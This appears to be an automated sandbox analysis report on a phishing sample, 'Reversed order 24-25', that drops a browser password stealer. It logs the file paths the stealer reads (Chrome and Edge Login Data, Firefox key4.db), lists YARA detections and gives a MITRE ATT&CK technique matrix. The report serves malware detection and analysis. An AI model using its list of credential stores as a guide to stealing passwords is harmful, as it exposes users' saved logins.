Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Downloads\Chrom.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Yara detected WebBrowserPassView password recovery tool

Source: Yara match	File source: 0000006B.00000000.2174276817.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000068.00000002.2549956688.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000044.00000002.2466846625.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000006C.00000002.2613059247.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000065.00000002.2606116653.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000069.00000000.2167577882.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000065.00000000.2165308142.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000046.00000002.2585932289.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000005B.00000002.2564816979.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000045.00000000.2140761052.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000062.00000000.2162248898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000045.00000002.2500268582.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000067.00000002.2626860695.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000006A.00000002.2602366163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000066.00000000.2175232961.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000067.00000000.2164912041.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000083.00000002.2623943009.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000068.00000000.2166550837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000064.00000002.2587572003.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000066.00000002.2588160235.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000058.00000002.2599316163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000053.00000002.2580371925.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000069.00000002.3724861066.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000006B.00000002.2616430429.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000063.00000000.2162785797.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000063.00000002.3700096707.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000006C.00000000.2187300825.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000058.00000000.2149477169.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000053.00000000.2145941174.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000060.00000002.3769898751.000000000356F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000064.00000000.2165271808.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000062.00000002.2625228135.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000044.00000000.2133602924.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000046.00000000.2134107679.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000005B.00000000.2151019682.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000083.00000000.2190697668.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000006A.00000000.2167561689.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2585719504.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000060.00000002.3769898751.0000000003481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Reversed order 24-25.exe PID: 8624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 7736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 8120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 5004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 8576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 8016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 5312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 5956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 7676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 8644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 1276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Chrom.exe PID: 404, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\Chrom.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Directory queried: number of queries: 2002

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	11 Process Injection	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Reversed order 24-25.pdf	13%	ReversingLabs	Document-PDF.Phishing.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe	81%	ReversingLabs	Win32.PUA.PassView
C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	66%	ReversingLabs	Win32.PUA.PassShow
C:\Users\user\Downloads\Chrom.exe	81%	ReversingLabs	Win32.PUA.PassView

Source	Detection	Scanner	Label
